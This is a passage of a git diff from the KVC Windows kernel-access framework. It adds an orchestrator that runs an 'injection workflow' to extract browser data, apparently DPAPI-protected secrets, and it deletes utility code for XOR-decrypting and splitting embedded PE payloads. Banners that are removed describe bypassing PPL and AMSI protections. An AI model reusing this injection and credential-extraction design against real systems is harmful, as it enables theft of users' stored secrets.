fs::current_path() / "output"; + + std::error_code ec; + if (!fs::exists(outputPath)) { + fs::create_directories(outputPath, ec); + if (ec) { + console.Error("Failed to create output directory: " + + Utils::path_to_api_string(outputPath) + ". Error: " + ec.message()); + return 1; + } + } + + // Process browser(s) + if (browserTarget == L"all") + { + try + { + ProcessAllBrowsers(console, isVerbose, outputPath); + } + catch (const std::exception& e) + { + console.Error(e.what()); + return 1; + } + } + else + { + auto optConfig = Configuration::CreateFromArgs(argc, argv, console); + if (!optConfig) + return 1; + + try + { + if (!isVerbose) + console.Info("Processing " + optConfig->browserDisplayName + "...\n"); + + auto stats = RunInjectionWorkflow(*optConfig, console); + + if (!isVerbose) + DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, + optConfig->outputPath); + else + console.Success("\nSecurity analysis completed successfully"); + } + catch (const std::runtime_error& e) + { + console.Error(e.what()); + return 1; + } + } + + console.Debug("Security orchestrator finished successfully."); + return 0; +} \ No newline at end of file diff --git a/kvc/OrchestratorCore.h b/kvc/OrchestratorCore.h new file mode 100644 index 0000000..8764127 --- /dev/null +++ b/kvc/OrchestratorCore.h @@ -0,0 +1,41 @@ +// OrchestratorCore.h - Main orchestration logic and configuration management +#ifndef ORCHESTRATOR_CORE_H +#define ORCHESTRATOR_CORE_H + +#include +#include +#include +#include +#include "CommunicationLayer.h" +#include "EdgeDPAPI.h" + +namespace fs = std::filesystem; + +// Application configuration parsed from command-line arguments +struct Configuration +{ + bool verbose = false; + fs::path outputPath; + std::wstring browserType; + std::wstring browserProcessName; + std::wstring browserDefaultExePath; + std::string browserDisplayName; + + // Parses command line arguments and builds configuration + static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console); +}; + +// Executes the complete browser analysis workflow +PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console); + +// Processes all installed browsers in batch mode +void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath); + +// Displays final extraction summary for a single browser +void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats, + const Console& console, bool singleBrowser, const fs::path& outputPath); + +// Builds a human-readable summary string from extraction statistics +std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats); + +#endif // ORCHESTRATOR_CORE_H \ No newline at end of file diff --git a/kvc/ProcessManager.cpp b/kvc/ProcessManager.cpp index 7ab9ad4..1a08092 100644 --- a/kvc/ProcessManager.cpp +++ b/kvc/ProcessManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ProcessManager.cpp #include "ProcessManager.h" #include "Controller.h" diff --git a/kvc/ReportExporter.cpp b/kvc/ReportExporter.cpp index 7fc6ebc..bc2a8c4 100644 --- a/kvc/ReportExporter.cpp +++ b/kvc/ReportExporter.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "ReportExporter.h" #include "Controller.h" #include diff --git a/kvc/SelfLoader.cpp b/kvc/SelfLoader.cpp index 2fee2ef..a9c02f5 100644 --- a/kvc/SelfLoader.cpp +++ b/kvc/SelfLoader.cpp @@ -1,29 +1,4 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// SelfLoader.cpp +// SelfLoader.cpp #include #include #include diff --git a/kvc/ServiceManager.cpp b/kvc/ServiceManager.cpp index 3776e7e..5d23b22 100644 --- a/kvc/ServiceManager.cpp +++ b/kvc/ServiceManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "ServiceManager.h" #include "Controller.h" #include "KeyboardHook.h" diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index cc5ed25..a05855a 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "TrustedInstallerIntegrator.h" #include "common.h" #include diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp index 2cb8258..e6f1e87 100644 --- a/kvc/Utils.cpp +++ b/kvc/Utils.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // Utils.cpp - Fixed compilation issues with NtQuerySystemInformation #include "Utils.h" #include "common.h" diff --git a/kvc/Utils_refactor.cpp b/kvc/Utils_refactor.cpp deleted file mode 100644 index 726ec01..0000000 --- a/kvc/Utils_refactor.cpp +++ /dev/null @@ -1,662 +0,0 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -//============================================================================== -// Utils.cpp - System utility functions with modern C++ optimizations -// Enhanced performance, robust error handling, low-level system operations -//============================================================================== - -#include "Utils.h" -#include "common.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include - -namespace fs = std::filesystem; - -namespace Utils { - -//============================================================================== -// STRING AND NUMERIC PARSING UTILITIES -//============================================================================== - -[[nodiscard]] std::optional ParsePid(const std::wstring& pidStr) noexcept -{ - if (pidStr.empty()) return std::nullopt; - - try { - // Fast path for single digits - if (pidStr.length() == 1 && std::iswdigit(pidStr[0])) { - return static_cast(pidStr[0] - L'0'); - } - - // Validate all characters are digits before conversion - if (!std::all_of(pidStr.begin(), pidStr.end(), - [](wchar_t c) { return std::iswdigit(c); })) { - return std::nullopt; - } - - const unsigned long result = std::wcstoul(pidStr.c_str(), nullptr, 10); - return (result <= MAXDWORD && result != ULONG_MAX) ? - std::make_optional(static_cast(result)) : std::nullopt; - - } catch (...) { - return std::nullopt; - } -} - -[[nodiscard]] bool IsNumeric(const std::wstring& str) noexcept -{ - return !str.empty() && - std::all_of(str.begin(), str.end(), - [](wchar_t c) { return c >= L'0' && c <= L'9'; }); -} - -//============================================================================== -// ADVANCED FILE OPERATIONS WITH ROBUST ERROR HANDLING -//============================================================================== - -bool ForceDeleteFile(const std::wstring& path) noexcept -{ - // Fast path - try normal delete first - if (DeleteFileW(path.c_str())) { - return true; - } - - // Remove file attributes that might prevent deletion - const DWORD attrs = GetFileAttributesW(path.c_str()); - if (attrs != INVALID_FILE_ATTRIBUTES) { - SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL); - - // Retry after attribute removal - if (DeleteFileW(path.c_str())) { - return true; - } - } - - // Last resort: schedule deletion after reboot - wchar_t tempPath[MAX_PATH]; - if (GetTempPathW(MAX_PATH, tempPath)) { - wchar_t tempFile[MAX_PATH]; - if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) { - if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) { - return MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); - } - } - } - - return false; -} - -bool WriteFile(const std::wstring& path, const std::vector& data) -{ - if (data.empty()) return false; - - // Ensure parent directory exists - const fs::path filePath = path; - std::error_code ec; - fs::create_directories(filePath.parent_path(), ec); - - // Remove existing file if present - if (fs::exists(filePath)) { - ForceDeleteFile(path); - } - - // Create file with appropriate security attributes - const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr, - CREATE_NEW, FILE_ATTRIBUTE_NORMAL, nullptr); - if (hFile == INVALID_HANDLE_VALUE) { - return false; - } - - // Write data in chunks for large files - prevents memory issues - constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks - DWORD totalWritten = 0; - - while (totalWritten < data.size()) { - const DWORD bytesToWrite = std::min(CHUNK_SIZE, - static_cast(data.size() - totalWritten)); - DWORD bytesWritten; - - if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, - &bytesWritten, nullptr) || bytesWritten != bytesToWrite) { - CloseHandle(hFile); - DeleteFileW(path.c_str()); // Cleanup partial file - return false; - } - - totalWritten += bytesWritten; - } - - // Ensure data is committed to disk - FlushFileBuffers(hFile); - CloseHandle(hFile); - - return true; -} - -std::vector ReadFile(const std::wstring& path) -{ - const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, - nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); - if (hFile == INVALID_HANDLE_VALUE) { - return {}; - } - - LARGE_INTEGER fileSize; - if (!GetFileSizeEx(hFile, &fileSize)) { - CloseHandle(hFile); - return {}; - } - - // Use memory mapping for files > 64KB - significant performance boost - if (fileSize.QuadPart > 65536) { - const HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr); - if (hMapping) { - void* const pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); - if (pData) { - std::vector result(static_cast(pData), - static_cast(pData) + fileSize.QuadPart); - UnmapViewOfFile(pData); - CloseHandle(hMapping); - CloseHandle(hFile); - return result; - } - CloseHandle(hMapping); - } - } - - // Fallback to standard read for small files - std::vector buffer(static_cast(fileSize.QuadPart)); - DWORD bytesRead; - - const BOOL success = ::ReadFile(hFile, buffer.data(), static_cast(buffer.size()), - &bytesRead, nullptr); - CloseHandle(hFile); - - return (success && bytesRead == buffer.size()) ? std::move(buffer) : std::vector{}; -} - -//============================================================================== -// RESOURCE EXTRACTION WITH VALIDATION -//============================================================================== - -std::vector ReadResource(int resourceId, const wchar_t* resourceType) -{ - const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType); - if (!hRes) return {}; - - const HGLOBAL hData = LoadResource(nullptr, hRes); - if (!hData) return {}; - - const DWORD dataSize = SizeofResource(nullptr, hRes); - if (dataSize == 0) return {}; - - void* const pData = LockResource(hData); - if (!pData) return {}; - - return std::vector(static_cast(pData), - static_cast(pData) + dataSize); -} - -//============================================================================== -// PROCESS NAME RESOLUTION WITH INTELLIGENT CACHING -//============================================================================== - -static thread_local std::unordered_map g_processCache; -static thread_local DWORD g_lastCacheUpdate = 0; - -[[nodiscard]] std::wstring GetProcessName(DWORD pid) noexcept -{ - // Use CreateToolhelp32Snapshot for reliable process enumeration - const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot == INVALID_HANDLE_VALUE) { - return L"[Unknown]"; - } - - PROCESSENTRY32W pe{}; - pe.dwSize = sizeof(PROCESSENTRY32W); - - if (Process32FirstW(hSnapshot, &pe)) { - do { - if (pe.th32ProcessID == pid) { - CloseHandle(hSnapshot); - return std::wstring(pe.szExeFile); - } - } while (Process32NextW(hSnapshot, &pe)); - } - - CloseHandle(hSnapshot); - return L"[Unknown]"; -} - -std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, - UCHAR protectionLevel, UCHAR signerType) noexcept -{ - // Cache management - refresh every 30 seconds for performance - const DWORD currentTick = static_cast(GetTickCount64()); - if (currentTick - g_lastCacheUpdate > 30000) { - g_processCache.clear(); - g_lastCacheUpdate = currentTick; - } - - // Check cache first - significant performance improvement - if (const auto cacheIt = g_processCache.find(pid); cacheIt != g_processCache.end()) { - return cacheIt->second; - } - - std::wstring processName = L"Unknown"; - - // Multiple resolution strategies for maximum reliability - if (const HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid)) { - wchar_t imagePath[MAX_PATH] = {}; - DWORD bufferSize = MAX_PATH; - - // Try QueryFullProcessImageName first - most reliable method - if (QueryFullProcessImageNameW(hProcess, 0, imagePath, &bufferSize)) { - const std::wstring fullPath(imagePath); - const size_t lastSlash = fullPath.find_last_of(L'\\'); - processName = (lastSlash != std::wstring::npos) ? - fullPath.substr(lastSlash + 1) : fullPath; - } - - CloseHandle(hProcess); - } - - // Fallback to snapshot-based resolution - if (processName == L"Unknown") { - processName = GetProcessName(pid); - } - - // Cache successful resolutions - if (processName != L"Unknown" && processName != L"[Unknown]") { - g_processCache[pid] = processName; - } - - return processName; -} - -//============================================================================== -// PROTECTION LEVEL PARSING WITH OPTIMIZED LOOKUP TABLES -//============================================================================== - -[[nodiscard]] std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept -{ - // Static lookup table - compile-time initialization for optimal performance - static const std::unordered_map levels = { - {L"none", static_cast(PS_PROTECTED_TYPE::None)}, - {L"ppl", static_cast(PS_PROTECTED_TYPE::ProtectedLight)}, - {L"pp", static_cast(PS_PROTECTED_TYPE::Protected)} - }; - - if (protectionLevel.empty()) return std::nullopt; - - // Single allocation for case conversion - std::wstring lower = protectionLevel; - std::transform(lower.begin(), lower.end(), lower.begin(), - [](wchar_t c) { return std::towlower(c); }); - - if (const auto it = levels.find(lower); it != levels.end()) { - return it->second; - } - - return std::nullopt; -} - -[[nodiscard]] std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept -{ - if (signerType.empty()) return std::nullopt; - - // Convert to lowercase for case-insensitive comparison - std::wstring lower = signerType; - std::transform(lower.begin(), lower.end(), lower.begin(), - [](wchar_t c) { return std::towlower(c); }); - - // Direct string comparisons - fastest for small datasets - if (lower == L"none") return static_cast(PS_PROTECTED_SIGNER::None); - if (lower == L"authenticode") return static_cast(PS_PROTECTED_SIGNER::Authenticode); - if (lower == L"codegen") return static_cast(PS_PROTECTED_SIGNER::CodeGen); - if (lower == L"antimalware") return static_cast(PS_PROTECTED_SIGNER::Antimalware); - if (lower == L"lsa") return static_cast(PS_PROTECTED_SIGNER::Lsa); - if (lower == L"windows") return static_cast(PS_PROTECTED_SIGNER::Windows); - if (lower == L"wintcb") return static_cast(PS_PROTECTED_SIGNER::WinTcb); - if (lower == L"winsystem") return static_cast(PS_PROTECTED_SIGNER::WinSystem); - if (lower == L"app") return static_cast(PS_PROTECTED_SIGNER::App); - - return std::nullopt; -} - -//============================================================================== -// STRING REPRESENTATION FUNCTIONS WITH STATIC STORAGE -//============================================================================== - -[[nodiscard]] const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept -{ - // Static strings eliminate repeated allocations - static const std::wstring none = L"None"; - static const std::wstring ppl = L"PPL"; - static const std::wstring pp = L"PP"; - static const std::wstring unknown = L"Unknown"; - - switch (static_cast(protectionLevel)) { - case PS_PROTECTED_TYPE::None: return none.c_str(); - case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str(); - case PS_PROTECTED_TYPE::Protected: return pp.c_str(); - default: return unknown.c_str(); - } -} - -[[nodiscard]] const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept -{ - // Jump table approach for maximum performance - static const std::wstring none = L"None"; - static const std::wstring authenticode = L"Authenticode"; - static const std::wstring codegen = L"CodeGen"; - static const std::wstring antimalware = L"Antimalware"; - static const std::wstring lsa = L"Lsa"; - static const std::wstring windows = L"Windows"; - static const std::wstring wintcb = L"WinTcb"; - static const std::wstring winsystem = L"WinSystem"; - static const std::wstring app = L"App"; - static const std::wstring unknown = L"Unknown"; - - switch (static_cast(signerType)) { - case PS_PROTECTED_SIGNER::None: return none.c_str(); - case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str(); - case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str(); - case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str(); - case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str(); - case PS_PROTECTED_SIGNER::Windows: return windows.c_str(); - case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str(); - case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str(); - case PS_PROTECTED_SIGNER::App: return app.c_str(); - default: return unknown.c_str(); - } -} - -[[nodiscard]] const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept -{ - // Static buffer for unknown signature levels - thread-safe - switch (signatureLevel) { - case 0x00: return L"None"; - case 0x08: return L"App"; - case 0x0c: return L"Standard"; // Standard DLL verification - case 0x1c: return L"System"; // System DLL verification - case 0x1e: return L"Kernel"; // Kernel EXE verification - case 0x3c: return L"Service"; // Windows service EXE - case 0x3e: return L"Critical"; // Critical system EXE - case 0x07: - case 0x37: return L"WinSystem"; - default: { - static thread_local wchar_t buf[32]; - swprintf_s(buf, L"Unknown (0x%02x)", signatureLevel); - return buf; - } - } -} - -//============================================================================== -// PROCESS DUMPABILITY ANALYSIS WITH HEURISTICS -//============================================================================== - -[[nodiscard]] ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept -{ - ProcessDumpability result{false, L""}; - - // Known undumpable system processes - hardcoded for performance - static const std::unordered_set undumpablePids = { - 4, // System process - 188, // Secure System - 232, // Registry process - 3052 // Memory Compression - }; - - static const std::unordered_set undumpableNames = { - L"System", - L"Secure System", - L"Registry", - L"Memory Compression" - }; - - if (undumpablePids.contains(pid)) { - result.Reason = L"System kernel process - undumpable by design"; - return result; - } - - if (undumpableNames.contains(processName)) { - result.Reason = L"Critical system process - protected by kernel"; - return result; - } - - // Additional heuristics for process dumpability - if (processName == L"[Unknown]" || processName.empty()) { - result.Reason = L"Process name unknown - likely kernel process"; - return result; - } - - // Assume process is dumpable if not in exclusion lists - result.CanDump = true; - result.Reason = L"Process appears dumpable with proper privileges"; - return result; -} - -//============================================================================== -// HEX STRING PROCESSING UTILITIES -//============================================================================== - -[[nodiscard]] bool IsValidHexString(const std::wstring& hexString) noexcept -{ - if (hexString.empty() || (hexString.length() % 2) != 0) { - return false; - } - - return std::all_of(hexString.begin(), hexString.end(), - [](wchar_t c) { - return (c >= L'0' && c <= L'9') || - (c >= L'A' && c <= L'F') || - (c >= L'a' && c <= L'f'); - }); -} - -bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept -{ - if (!IsValidHexString(hexString)) { - return false; - } - - bytes.clear(); - bytes.reserve(hexString.length() / 2); - - for (size_t i = 0; i < hexString.length(); i += 2) { - const wchar_t highNibble = hexString[i]; - const wchar_t lowNibble = hexString[i + 1]; - - auto hexToByte = [](wchar_t c) -> BYTE { - if (c >= L'0' && c <= L'9') return static_cast(c - L'0'); - if (c >= L'A' && c <= L'F') return static_cast(c - L'A' + 10); - if (c >= L'a' && c <= L'f') return static_cast(c - L'a' + 10); - return 0; - }; - - const BYTE byte = (hexToByte(highNibble) << 4) | hexToByte(lowNibble); - bytes.push_back(byte); - } - - return true; -} - -//============================================================================== -// PE BINARY PARSING AND MANIPULATION -//============================================================================== - -[[nodiscard]] std::optional GetPEFileLength(const std::vector& data, size_t offset) noexcept -{ - try { - if (data.size() < offset + 64) return std::nullopt; // Not enough data for DOS header - - // Verify DOS signature "MZ" - if (data[offset] != 'M' || data[offset + 1] != 'Z') { - return std::nullopt; - } - - // Get PE header offset from DOS header - DWORD pe_offset; - std::memcpy(&pe_offset, &data[offset + 60], sizeof(DWORD)); - - const size_t pe_header_start = offset + pe_offset; - if (data.size() < pe_header_start + 24) return std::nullopt; - - // Verify PE signature "PE\0\0" - if (std::memcmp(&data[pe_header_start], "PE\0\0", 4) != 0) { - return std::nullopt; - } - - // Parse COFF header for section count - WORD number_of_sections; - std::memcpy(&number_of_sections, &data[pe_header_start + 6], sizeof(WORD)); - - if (number_of_sections == 0) return std::nullopt; - - // Calculate section table location - WORD optional_header_size; - std::memcpy(&optional_header_size, &data[pe_header_start + 20], sizeof(WORD)); - - const size_t section_table_offset = pe_header_start + 24 + optional_header_size; - constexpr size_t section_header_size = 40; - - if (data.size() < section_table_offset + (number_of_sections * section_header_size)) { - return std::nullopt; - } - - // Find the highest file offset + size from all sections - size_t max_end = 0; - for (WORD i = 0; i < number_of_sections; ++i) { - const size_t sh_offset = section_table_offset + (i * section_header_size); - - if (data.size() < sh_offset + 24) { - return std::nullopt; - } - - DWORD size_of_raw, pointer_to_raw; - std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD)); - std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD)); - - if (pointer_to_raw == 0) continue; // Skip sections without raw data - - const size_t section_end = pointer_to_raw + size_of_raw; - max_end = std::max(max_end, section_end); - } - - if (max_end > 0) { - const size_t header_end = section_table_offset + number_of_sections * section_header_size; - const size_t file_end = std::max(max_end, header_end); - return std::min(file_end, data.size()); - } - - return std::nullopt; - - } catch (...) { - return std::nullopt; - } -} - -bool SplitCombinedPE(const std::vector& combined, - std::vector& first, - std::vector& second) noexcept -{ - try { - if (combined.empty()) return false; - - // Determine exact size of first PE file - const auto first_size = GetPEFileLength(combined, 0); - - if (!first_size || *first_size <= 0 || *first_size >= combined.size()) { - // Fallback: search for next "MZ" signature - constexpr size_t search_start = 0x200; - const size_t search_offset = (combined.size() > search_start) ? search_start : 0; - - for (size_t i = search_offset; i < combined.size() - 1; ++i) { - if (combined[i] == 'M' && combined[i + 1] == 'Z') { - // Found potential second PE - first.assign(combined.begin(), combined.begin() + i); - second.assign(combined.begin() + i, combined.end()); - return !first.empty() && !second.empty(); - } - } - return false; - } - - // Split at calculated boundary - const size_t split_point = *first_size; - if (split_point >= combined.size()) return false; - - first.assign(combined.begin(), combined.begin() + split_point); - second.assign(combined.begin() + split_point, combined.end()); - - return !first.empty() && !second.empty(); - - } catch (...) { - return false; - } -} - -//============================================================================== -// XOR DECRYPTION UTILITY -//============================================================================== - -[[nodiscard]] std::vector DecryptXOR(const std::vector& encryptedData, - const std::array& key) noexcept -{ - if (encryptedData.empty()) return {}; - - std::vector decrypted; - decrypted.reserve(encryptedData.size()); - - for (size_t i = 0; i < encryptedData.size(); ++i) { - const BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()]; - decrypted.push_back(decrypted_byte); - } - - return decrypted; -} - -//============================================================================== -// KERNEL ADDRESS UTILITIES -//============================================================================== - -[[nodiscard]] std::optional GetKernelBaseAddress() noexcept -{ - // Implementation depends on kernel driver communication - // This is a placeholder for the actual kernel base address retrieval - return std::nullopt; -} - -} // namespace Utils \ No newline at end of file diff --git a/kvc/common.cpp b/kvc/common.cpp index 8dce31c..376a6f4 100644 --- a/kvc/common.cpp +++ b/kvc/common.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // common.cpp - Core system utilities and dynamic API management // Implements service management, system path resolution, and Windows API abstraction diff --git a/kvc/kvc_crypt.cpp b/kvc/kvc_crypt.cpp deleted file mode 100644 index 2be7583..0000000 --- a/kvc/kvc_crypt.cpp +++ /dev/null @@ -1,933 +0,0 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// kvc_crypt.cpp -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include 